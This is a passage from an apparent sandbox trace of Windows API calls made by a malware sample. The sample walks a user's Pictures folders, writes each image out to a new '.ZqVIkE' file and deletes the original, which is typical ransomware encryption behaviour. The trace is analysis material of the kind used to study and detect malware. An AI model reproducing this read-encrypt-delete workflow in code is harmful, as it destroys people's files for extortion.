dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0098.265] FindClose (in: hFindFile=0x1ae50a90 | out: hFindFile=0x1ae50a90) returned 1 [0098.265] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1cb1ccb0, ftCreationTime.dwHighDateTime=0x1d62c92, ftLastAccessTime.dwLowDateTime=0xcffecd30, ftLastAccessTime.dwHighDateTime=0x1d62ee1, ftLastWriteTime.dwLowDateTime=0xcffecd30, ftLastWriteTime.dwHighDateTime=0x1d62ee1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50e50 [0098.265] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1cb1ccb0, ftCreationTime.dwHighDateTime=0x1d62c92, ftLastAccessTime.dwLowDateTime=0xcffecd30, ftLastAccessTime.dwHighDateTime=0x1d62ee1, ftLastWriteTime.dwLowDateTime=0xcffecd30, ftLastWriteTime.dwHighDateTime=0x1d62ee1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.266] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61cda420, ftCreationTime.dwHighDateTime=0x1d6328e, ftLastAccessTime.dwLowDateTime=0x18665420, ftLastAccessTime.dwHighDateTime=0x1d62e02, ftLastWriteTime.dwLowDateTime=0x18665420, ftLastWriteTime.dwHighDateTime=0x1d62e02, nFileSizeHigh=0x0, nFileSizeLow=0x1192d, dwReserved0=0x0, dwReserved1=0x0, cFileName="E2udHPL.jpg", cAlternateFileName="")) returned 1 [0098.266] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc40509a0, ftCreationTime.dwHighDateTime=0x1d624ea, ftLastAccessTime.dwLowDateTime=0x87bc4f40, ftLastAccessTime.dwHighDateTime=0x1d623e0, ftLastWriteTime.dwLowDateTime=0x87bc4f40, ftLastWriteTime.dwHighDateTime=0x1d623e0, nFileSizeHigh=0x0, nFileSizeLow=0xf4ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="K1QxIRb51Bk JPz9Y7M.png", cAlternateFileName="K1QXIR~1.PNG")) returned 1 [0098.266] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d037a0, ftCreationTime.dwHighDateTime=0x1d623cc, ftLastAccessTime.dwLowDateTime=0x7839a330, ftLastAccessTime.dwHighDateTime=0x1d62f0a, ftLastWriteTime.dwLowDateTime=0x7839a330, ftLastWriteTime.dwHighDateTime=0x1d62f0a, nFileSizeHigh=0x0, nFileSizeLow=0x18fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="swCSaVC_.gif", cAlternateFileName="")) returned 1 [0098.266] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d037a0, ftCreationTime.dwHighDateTime=0x1d623cc, ftLastAccessTime.dwLowDateTime=0x7839a330, ftLastAccessTime.dwHighDateTime=0x1d62f0a, ftLastWriteTime.dwLowDateTime=0x7839a330, ftLastWriteTime.dwHighDateTime=0x1d62f0a, nFileSizeHigh=0x0, nFileSizeLow=0x18fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="swCSaVC_.gif", cAlternateFileName="")) returned 0 [0098.266] FindClose (in: hFindFile=0x1ae50e50 | out: hFindFile=0x1ae50e50) returned 1 [0098.266] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\8mq_\\f2jVPKj4tPZ\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1cb1ccb0, ftCreationTime.dwHighDateTime=0x1d62c92, ftLastAccessTime.dwLowDateTime=0xcffecd30, ftLastAccessTime.dwHighDateTime=0x1d62ee1, ftLastWriteTime.dwLowDateTime=0xcffecd30, ftLastWriteTime.dwHighDateTime=0x1d62ee1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50130 [0098.266] FindNextFileW (in: hFindFile=0x1ae50130, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1cb1ccb0, ftCreationTime.dwHighDateTime=0x1d62c92, ftLastAccessTime.dwLowDateTime=0xcffecd30, ftLastAccessTime.dwHighDateTime=0x1d62ee1, ftLastWriteTime.dwLowDateTime=0xcffecd30, ftLastWriteTime.dwHighDateTime=0x1d62ee1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.266] FindNextFileW (in: hFindFile=0x1ae50130, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61cda420, ftCreationTime.dwHighDateTime=0x1d6328e, ftLastAccessTime.dwLowDateTime=0x18665420, ftLastAccessTime.dwHighDateTime=0x1d62e02, ftLastWriteTime.dwLowDateTime=0x18665420, ftLastWriteTime.dwHighDateTime=0x1d62e02, nFileSizeHigh=0x0, nFileSizeLow=0x1192d, dwReserved0=0x0, dwReserved1=0x0, cFileName="E2udHPL.jpg", cAlternateFileName="")) returned 1 [0098.266] FindNextFileW (in: hFindFile=0x1ae50130, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc40509a0, ftCreationTime.dwHighDateTime=0x1d624ea, ftLastAccessTime.dwLowDateTime=0x87bc4f40, ftLastAccessTime.dwHighDateTime=0x1d623e0, ftLastWriteTime.dwLowDateTime=0x87bc4f40, ftLastWriteTime.dwHighDateTime=0x1d623e0, nFileSizeHigh=0x0, nFileSizeLow=0xf4ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="K1QxIRb51Bk JPz9Y7M.png", cAlternateFileName="K1QXIR~1.PNG")) returned 1 [0098.267] FindNextFileW (in: hFindFile=0x1ae50130, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d037a0, ftCreationTime.dwHighDateTime=0x1d623cc, ftLastAccessTime.dwLowDateTime=0x7839a330, ftLastAccessTime.dwHighDateTime=0x1d62f0a, ftLastWriteTime.dwLowDateTime=0x7839a330, ftLastWriteTime.dwHighDateTime=0x1d62f0a, nFileSizeHigh=0x0, nFileSizeLow=0x18fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="swCSaVC_.gif", cAlternateFileName="")) returned 1 [0098.267] FindNextFileW (in: hFindFile=0x1ae50130, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0098.267] FindClose (in: hFindFile=0x1ae50130 | out: hFindFile=0x1ae50130) returned 1 [0098.267] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\_xsW54t\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcaa8700, ftCreationTime.dwHighDateTime=0x1d629b5, ftLastAccessTime.dwLowDateTime=0xd17dd3e0, ftLastAccessTime.dwHighDateTime=0x1d630d5, ftLastWriteTime.dwLowDateTime=0xd17dd3e0, ftLastWriteTime.dwHighDateTime=0x1d630d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50490 [0098.267] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcaa8700, ftCreationTime.dwHighDateTime=0x1d629b5, ftLastAccessTime.dwLowDateTime=0xd17dd3e0, ftLastAccessTime.dwHighDateTime=0x1d630d5, ftLastWriteTime.dwLowDateTime=0xd17dd3e0, ftLastWriteTime.dwHighDateTime=0x1d630d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.267] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72991930, ftCreationTime.dwHighDateTime=0x1d62409, ftLastAccessTime.dwLowDateTime=0x66647a0, ftLastAccessTime.dwHighDateTime=0x1d62586, ftLastWriteTime.dwLowDateTime=0x66647a0, ftLastWriteTime.dwHighDateTime=0x1d62586, nFileSizeHigh=0x0, nFileSizeLow=0x63f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="0qekBN6dklEHf.jpg", cAlternateFileName="0QEKBN~1.JPG")) returned 1 [0098.267] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x559639d0, ftCreationTime.dwHighDateTime=0x1d62ec2, ftLastAccessTime.dwLowDateTime=0x72d87b90, ftLastAccessTime.dwHighDateTime=0x1d62a3d, ftLastWriteTime.dwLowDateTime=0x72d87b90, ftLastWriteTime.dwHighDateTime=0x1d62a3d, nFileSizeHigh=0x0, nFileSizeLow=0x1467e, dwReserved0=0x0, dwReserved1=0x0, cFileName="gTwj04xBXd.jpg", cAlternateFileName="GTWJ04~1.JPG")) returned 1 [0098.267] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d0d0c60, ftCreationTime.dwHighDateTime=0x1d629f6, ftLastAccessTime.dwLowDateTime=0x58b28a30, ftLastAccessTime.dwHighDateTime=0x1d62cef, ftLastWriteTime.dwLowDateTime=0x58b28a30, ftLastWriteTime.dwHighDateTime=0x1d62cef, nFileSizeHigh=0x0, nFileSizeLow=0xfce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="kUKoKO.bmp", cAlternateFileName="")) returned 1 [0098.267] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d0d0c60, ftCreationTime.dwHighDateTime=0x1d629f6, ftLastAccessTime.dwLowDateTime=0x58b28a30, ftLastAccessTime.dwHighDateTime=0x1d62cef, ftLastWriteTime.dwLowDateTime=0x58b28a30, ftLastWriteTime.dwHighDateTime=0x1d62cef, nFileSizeHigh=0x0, nFileSizeLow=0xfce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="kUKoKO.bmp", cAlternateFileName="")) returned 0 [0098.267] FindClose (in: hFindFile=0x1ae50490 | out: hFindFile=0x1ae50490) returned 1 [0098.268] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\_xsW54t\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcaa8700, ftCreationTime.dwHighDateTime=0x1d629b5, ftLastAccessTime.dwLowDateTime=0xd17dd3e0, ftLastAccessTime.dwHighDateTime=0x1d630d5, ftLastWriteTime.dwLowDateTime=0xd17dd3e0, ftLastWriteTime.dwHighDateTime=0x1d630d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50970 [0098.268] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcaa8700, ftCreationTime.dwHighDateTime=0x1d629b5, ftLastAccessTime.dwLowDateTime=0xd17dd3e0, ftLastAccessTime.dwHighDateTime=0x1d630d5, ftLastWriteTime.dwLowDateTime=0xd17dd3e0, ftLastWriteTime.dwHighDateTime=0x1d630d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.268] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72991930, ftCreationTime.dwHighDateTime=0x1d62409, ftLastAccessTime.dwLowDateTime=0x66647a0, ftLastAccessTime.dwHighDateTime=0x1d62586, ftLastWriteTime.dwLowDateTime=0x66647a0, ftLastWriteTime.dwHighDateTime=0x1d62586, nFileSizeHigh=0x0, nFileSizeLow=0x63f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="0qekBN6dklEHf.jpg", cAlternateFileName="0QEKBN~1.JPG")) returned 1 [0098.268] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x559639d0, ftCreationTime.dwHighDateTime=0x1d62ec2, ftLastAccessTime.dwLowDateTime=0x72d87b90, ftLastAccessTime.dwHighDateTime=0x1d62a3d, ftLastWriteTime.dwLowDateTime=0x72d87b90, ftLastWriteTime.dwHighDateTime=0x1d62a3d, nFileSizeHigh=0x0, nFileSizeLow=0x1467e, dwReserved0=0x0, dwReserved1=0x0, cFileName="gTwj04xBXd.jpg", cAlternateFileName="GTWJ04~1.JPG")) returned 1 [0098.268] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d0d0c60, ftCreationTime.dwHighDateTime=0x1d629f6, ftLastAccessTime.dwLowDateTime=0x58b28a30, ftLastAccessTime.dwHighDateTime=0x1d62cef, ftLastWriteTime.dwLowDateTime=0x58b28a30, ftLastWriteTime.dwHighDateTime=0x1d62cef, nFileSizeHigh=0x0, nFileSizeLow=0xfce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="kUKoKO.bmp", cAlternateFileName="")) returned 1 [0098.268] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0098.268] FindClose (in: hFindFile=0x1ae50970 | out: hFindFile=0x1ae50970) returned 1 [0098.268] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae507f0 [0098.308] FindNextFileW (in: hFindFile=0x1ae507f0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.308] FindNextFileW (in: hFindFile=0x1ae507f0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51311410, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0098.309] FindNextFileW (in: hFindFile=0x1ae507f0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51311410, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0098.309] FindClose (in: hFindFile=0x1ae507f0 | out: hFindFile=0x1ae507f0) returned 1 [0098.309] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50bb0 [0098.309] FindNextFileW (in: hFindFile=0x1ae50bb0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.309] FindNextFileW (in: hFindFile=0x1ae50bb0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51311410, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0098.310] FindNextFileW (in: hFindFile=0x1ae50bb0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0098.310] FindClose (in: hFindFile=0x1ae50bb0 | out: hFindFile=0x1ae50bb0) returned 1 [0098.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ee10) returned 1 [0098.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71edd0) returned 1 [0098.310] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\2nSufFm2nHe0H6.gif.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\2nSufFm2nHe0H6.gif.ZqVIkE", lpFilePart=0x0) returned 0x32 [0098.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0098.310] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\2nSufFm2nHe0H6.gif.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\2nsuffm2nhe0h6.gif.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0098.311] GetFileType (hFile=0x380) returned 0x1 [0098.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0098.311] GetFileType (hFile=0x380) returned 0x1 [0099.797] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\2nSufFm2nHe0H6.gif", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\2nSufFm2nHe0H6.gif", lpFilePart=0x0) returned 0x2b [0099.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0099.797] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\2nSufFm2nHe0H6.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\2nsuffm2nhe0h6.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0099.797] GetFileType (hFile=0x37c) returned 0x1 [0099.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0099.797] GetFileType (hFile=0x37c) returned 0x1 [0099.799] ReadFile (in: hFile=0x37c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0xf8aa, lpOverlapped=0x0) returned 1 [0099.856] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0099.856] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0099.858] WriteFile (in: hFile=0x380, lpBuffer=0x262cfa8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x262cfa8*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0099.859] WriteFile (in: hFile=0x380, lpBuffer=0x262fa10*, nNumberOfBytesToWrite=0xe8c0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x262fa10*, lpNumberOfBytesWritten=0x71ee88*=0xe8c0, lpOverlapped=0x0) returned 1 [0099.860] ReadFile (in: hFile=0x37c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0099.860] CloseHandle (hObject=0x37c) returned 1 [0099.860] WriteFile (in: hFile=0x380, lpBuffer=0x262cfa8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x262cfa8*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0099.860] CloseHandle (hObject=0x380) returned 1 [0099.862] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\2nSufFm2nHe0H6.gif", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\2nSufFm2nHe0H6.gif", lpFilePart=0x0) returned 0x2b [0099.862] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\2nSufFm2nHe0H6.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\2nsuffm2nhe0h6.gif")) returned 1 [0099.904] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\eW-adj0sosb SJ3L.gif.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\eW-adj0sosb SJ3L.gif.ZqVIkE", lpFilePart=0x0) returned 0x34 [0099.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0099.904] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\eW-adj0sosb SJ3L.gif.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\ew-adj0sosb sj3l.gif.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0099.905] GetFileType (hFile=0x380) returned 0x1 [0099.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0099.905] GetFileType (hFile=0x380) returned 0x1 [0101.432] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\eW-adj0sosb SJ3L.gif", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\eW-adj0sosb SJ3L.gif", lpFilePart=0x0) returned 0x2d [0101.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0101.433] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\eW-adj0sosb SJ3L.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\ew-adj0sosb sj3l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0101.433] GetFileType (hFile=0x37c) returned 0x1 [0101.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0101.433] GetFileType (hFile=0x37c) returned 0x1 [0101.434] ReadFile (in: hFile=0x37c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x10118, lpOverlapped=0x0) returned 1 [0101.441] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0101.441] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0101.445] WriteFile (in: hFile=0x380, lpBuffer=0x271cd90*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x271cd90*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0101.446] WriteFile (in: hFile=0x380, lpBuffer=0x271f808*, nNumberOfBytesToWrite=0xf130, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x271f808*, lpNumberOfBytesWritten=0x71ee88*=0xf130, lpOverlapped=0x0) returned 1 [0101.446] ReadFile (in: hFile=0x37c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0101.446] CloseHandle (hObject=0x37c) returned 1 [0101.446] WriteFile 